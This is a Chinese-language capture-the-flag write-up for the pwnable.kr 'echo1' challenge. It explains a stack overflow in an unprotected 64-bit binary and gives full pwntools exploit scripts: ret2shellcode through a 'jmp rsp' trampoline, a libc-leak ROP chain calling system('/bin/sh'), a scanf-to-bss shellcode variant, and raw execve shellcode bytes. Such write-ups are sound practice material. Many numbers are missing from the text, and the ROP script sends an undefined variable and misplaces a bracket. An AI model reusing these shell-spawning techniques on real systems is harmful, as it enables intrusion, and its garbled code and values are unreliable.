pwnable.kr - echo1 - writeup

原文链接：https://www.cnblogs.com/WangAoBo/p/pwnable_kr_echo1.html

旧题新做，发现这道题能用不少姿势

漏洞分析

64位程序，没有开任何保护

pwnable_echo1 [master●●] check echo1

echo1: ELF -bit LSB executable, x86-, version  (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-.so., for GNU/Linux 2.6., BuildID[sha1]=fa367b7e8f66b68737a56333996d80f0d72e54ea, not stripped

[*] '/home/m4x/pwn_repo/pwnable_echo1/echo1'

    Arch:     amd64--little

    RELRO:    Partial RELRO

    Stack:    No canary found

    NX:       NX disabled

    PIE:      No PIE

IDA可以看出，在echo1这个函数里没有对s的长度进行检查，可以通过控制s触发栈溢出

__int64 echo1()

{

  char s; // [rsp+0h] [rbp-20h]

  (*((void (__fastcall **)(void *))o + ))(o);  // greeting

  get_input(&s, 128LL);                         // buffer overflow

  puts(&s);

  (*((void (__fastcall **)(void *))o + ))(o);  // byebye

  return 0LL;

}

利用方法

ret2shellcode

有能控制的栈溢出，程序没有开NX，因此第一个想法就是用ret2shellcode了，但shellcode往哪写是个问题(可以通过nop滑梯爆破shellcode在栈上的地址，但实际尝试时太慢，就不说了)，固定的地址只有o和id两个全局变量，o又是malloc出来的，看起来只有id能联系上了。

但仔细观察，可控的只有id的前8个字节，8个字节是写不了shellcode的

  __isoc99_scanf("%24s", name);

  v4 = o;

  *(_QWORD *)o = *(_QWORD *)name;

  v4[] = *(_QWORD *)&name[];

  v4[] = *(_QWORD *)&name[];

  id = *(_DWORD *)name;

调试也能看出只能控制id的前8个字节

整理一下目前的信息：

有arbitrary overflow的栈
有能控制的8个字节的全局变量
无NX和pie保护

不能直接ret2shellcode是因为不知道shellcode的地址，但我们知道id前8个字节的地址，这样就可以通过这8个字节当一个trampoline，跳到shellcode，我的思路是：

控制id的前8个字节为"jmp rsp"(具体为什么是jmp rsp，通过调试可以清楚地显示)

───────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────

   0x40085f       <echo1+>    mov    rax, qword ptr [rip + 0x201832] <0x602098>

   0x400866       <echo1+>    mov    rdi, rax

   0x400869       <echo1+>    call   rdx

   0x40086b       <echo1+>    mov    eax,

   0x400870       <echo1+>    leave

 ► 0x400871       <echo1+>    ret             <0x6020a0; id>

    ↓

   0x6020a0       <id>          jmp    rsp

    ↓

   0x7fffce3ed600               push   rax

   0x7fffce3ed601               xor    rdx, rdx

   0x7fffce3ed604               xor    rsi, rsi

   0x7fffce3ed607               movabs rbx, 0x68732f2f6e69622f

───────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────

:│ rsp  0x7fffce3ed5f8 —▸ 0x6020a0 (id) ◂— jmp    rsp /* 0xe4ff */

:│      0x7fffce3ed600 ◂— 0x48f63148d2314850

:│      0x7fffce3ed608 ◂— 0x732f2f6e69622fbb

:│      0x7fffce3ed610 ◂— 0x50f3bb05f545368

:│      0x7fffce3ed618 —▸ 0x40000a ◂— add    byte ptr [rax], al

:│      0x7fffce3ed620 —▸ 0x7fffce3ed710 ◂— 0x1

:│      0x7fffce3ed628 ◂— 0x0

:│      0x7fffce3ed630 —▸ 0x400a90 (__libc_csu_init) ◂— mov    qword ptr [rsp - 0x28], rbp

通过arbitrary overflow控制echo1的返回地址为id，然后通过id的跳板作用跳到shellcode

talk is cheap, show you the code

pwnable_echo1 [master●●] cat sc.py

#!/usr/bin/env python

# -*- coding: utf-8 -*-

__Auther__ = 'M4x'

from pwn import *

from time import sleep

import sys

context.arch = 'amd64'

context.os = 'linux'

context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

elf = ELF("./echo1")

if sys.argv[1] == "l":

    context.log_level = "debug"

    # env = {'LD_PRELOAD': ''}

    # io = process("", env = env)

    io = process("./echo1")

    libc = elf.libc

else:

    io = remote("pwnable.kr", 9010)

    #  libc = ELF("")

def DEBUG(cmd = ""):

    raw_input("DEBUG: ")

    gdb.attach(io, cmd)

if __name__ == "__main__":

    io.sendlineafter(" : ", asm("jmp rsp"))

    #  DEBUG("b *echo1\nc")

    io.sendlineafter("> ", "")

    sc = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"

    payload = fit({0x20 + 8: [elf.sym['id'], sc]})

    io.sendline(payload)

    io.interactive()

    io.close()

rop

更进一步，如果程序关闭了NX，能不能通过rop解决

答案是肯定的，rop需要有合适的gadget，这里只需要有类似 pop rdi;ret的gadget来控制第一个参数即可leak出libc基址，进而返回到system("/bin/sh")

想法很美好，但找来找去也没有找到能控制rdi的gadget（如果你找到了，请务必告诉我），利用64位elf通用gadget(参考链接)偏移凑出的gadget也因为改变了rsp不能用

pwndbg> x/3i 0x0000000000400b0f+

   0x400b10 <__libc_csu_init+>:    mov    edi,DWORD PTR [rsp+0x30]

   0x400b14 <__libc_csu_init+>:    add    rsp,0x38

   0x400b18 <__libc_csu_init+>:    ret

这时候再把目光放到控制id的8个字节上，看一下8个字节，我们能写多少指令

pwnable_echo1 [master●●] rasm2 -a x86 -b  "pop rdi;ret"

5fc3

pwnable_echo1 [master●●] rasm2 -a x86 -b  "pop rdi;pop rsi;ret"

5f5ec3

pwnable_echo1 [master●●] rasm2 -a x86 -b  "pop rdi;pop rsi;pop rdx;ret"

5f5e5ac3

pwnable_echo1 [master●●] rasm2 -a x86 -b  "pop rdi;pop rsi;pop rdx;pop rcx;ret"

5f5e5a59c3

发现即使是控制4个寄存器的gadget，也只需5个字节，几乎可以满足任何需求了，有以下几种方法

基于 len(asm("pop rdi; ret")) < 8

只控制一个参数，可以先通过puts来leak出libc基址，然后再控制system的参数为/bin/sh即可

pwnable_echo1 [master●●] cat rop.py

#!/usr/bin/env python

# -*- coding: utf-8 -*-

__Auther__ = 'M4x'

from pwn import *

from time import sleep

import sys

context.os = 'linux'

context.arch = 'amd64'

context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

elf = ELF("./echo1")

if sys.argv[1] == "l":

    context.log_level = "debug"

    # env = {'LD_PRELOAD': ''}

    # io = process("", env = env)

    io = process("./echo1")

    libc = elf.libc

else:

    io = remote("pwnable.kr", 9010)

    #  libc = ELF("")

def DEBUG(cmd = ""):

    raw_input("DEBUG: ")

    gdb.attach(io, cmd)

if __name__ == "__main__":

    pr = asm('pop rdi;ret')

    io.sendlineafter(" : ", pppr)

    #  DEBUG("b *echo1\nc")

    io.sendlineafter("> ", "")

    payload = flat([cyclic(0x20 + 8), elf.sym['id'], elf.got['puts'], elf.plt['puts']], elf.sym['echo1'])

    io.sendline(payload)

    libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - libc.sym['puts']

    success("libc.address -> {:#x}".format(libc.address))

    pause()

    payload = flat([cyclic(0x20 + 8), elf.sym['id'], next(libc.search("/bin/sh")), libc.sym['system']])

    io.sendline(payload)

    io.interactive()

    io.close()

基于 len(asm("pop rdi; pop rsi; ret")) < 8

控制两个参数，可以控制echo1返回到scanf("%s", bss)把shellcode读到一个固定地址上，然后再返回到该地址，需要注意的是通过scanf读入shellcode的话需要避免shellcode中出现bad char截断scanf(可以参考这道题)，幸运的是shellcraft生成的shellcode刚好满足条件

pwnable_echo1 [master●●] cat pop2.py

#!/usr/bin/env python

# -*- coding: utf-8 -*-

__Auther__ = 'M4x'

from pwn import *

from time import sleep

import sys

context.os = 'linux'

context.arch = 'amd64'

context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

elf = ELF("./echo1")

if sys.argv[1] == "l":

    context.log_level = "debug"

    # env = {'LD_PRELOAD': ''}

    # io = process("", env = env)

    io = process("./echo1")

    libc = elf.libc

else:

    io = remote("pwnable.kr", 9010)

    #  libc = ELF("")

def DEBUG(cmd = ""):

    raw_input("DEBUG: ")

    gdb.attach(io, cmd)

if __name__ == "__main__":

    pppr = asm('pop rdi; pop rsi; ret')

    io.sendlineafter(" : ", pppr)

    #  DEBUG("b *echo1\nc")

    io.sendlineafter("> ", "")

    payload = flat([cyclic(0x20 + 8), elf.sym['id'], next(elf.search("%s")), elf.bss(), elf.plt['__isoc99_scanf'], elf.bss()])

    io.sendline(payload)

    io.sendline(asm(shellcraft.execve("/bin/sh")))

    io.interactive()

    io.close()

基于 len(asm("pop rdi; pop rsi; pop rdx;ret")) < 8

因为程序没有read函数，所以我能想到的方法和上一中一样，不再放shellcode

基于 len(asm("pop rdi; pop rsi; pop rdx;pop rcx; ret")) < 8

可以利用ret2syscall（可以参考这道题目）的方法，控制

rdi = 59（64位系统下execve的系统调用号）
rsi -> /bin/sh（execve的第一个参数）
rdx = 0（execve的第二个参数）
rcx = 0（execve的第三个参数）

我相信能看懂这个方法的师傅是可以独立写出ret2syscall的exp的，这里也不再放exp了

以上所有代码均能在我的github上找到，欢迎star

以前觉得巨难理解的一道题，现在回头看还挺简单的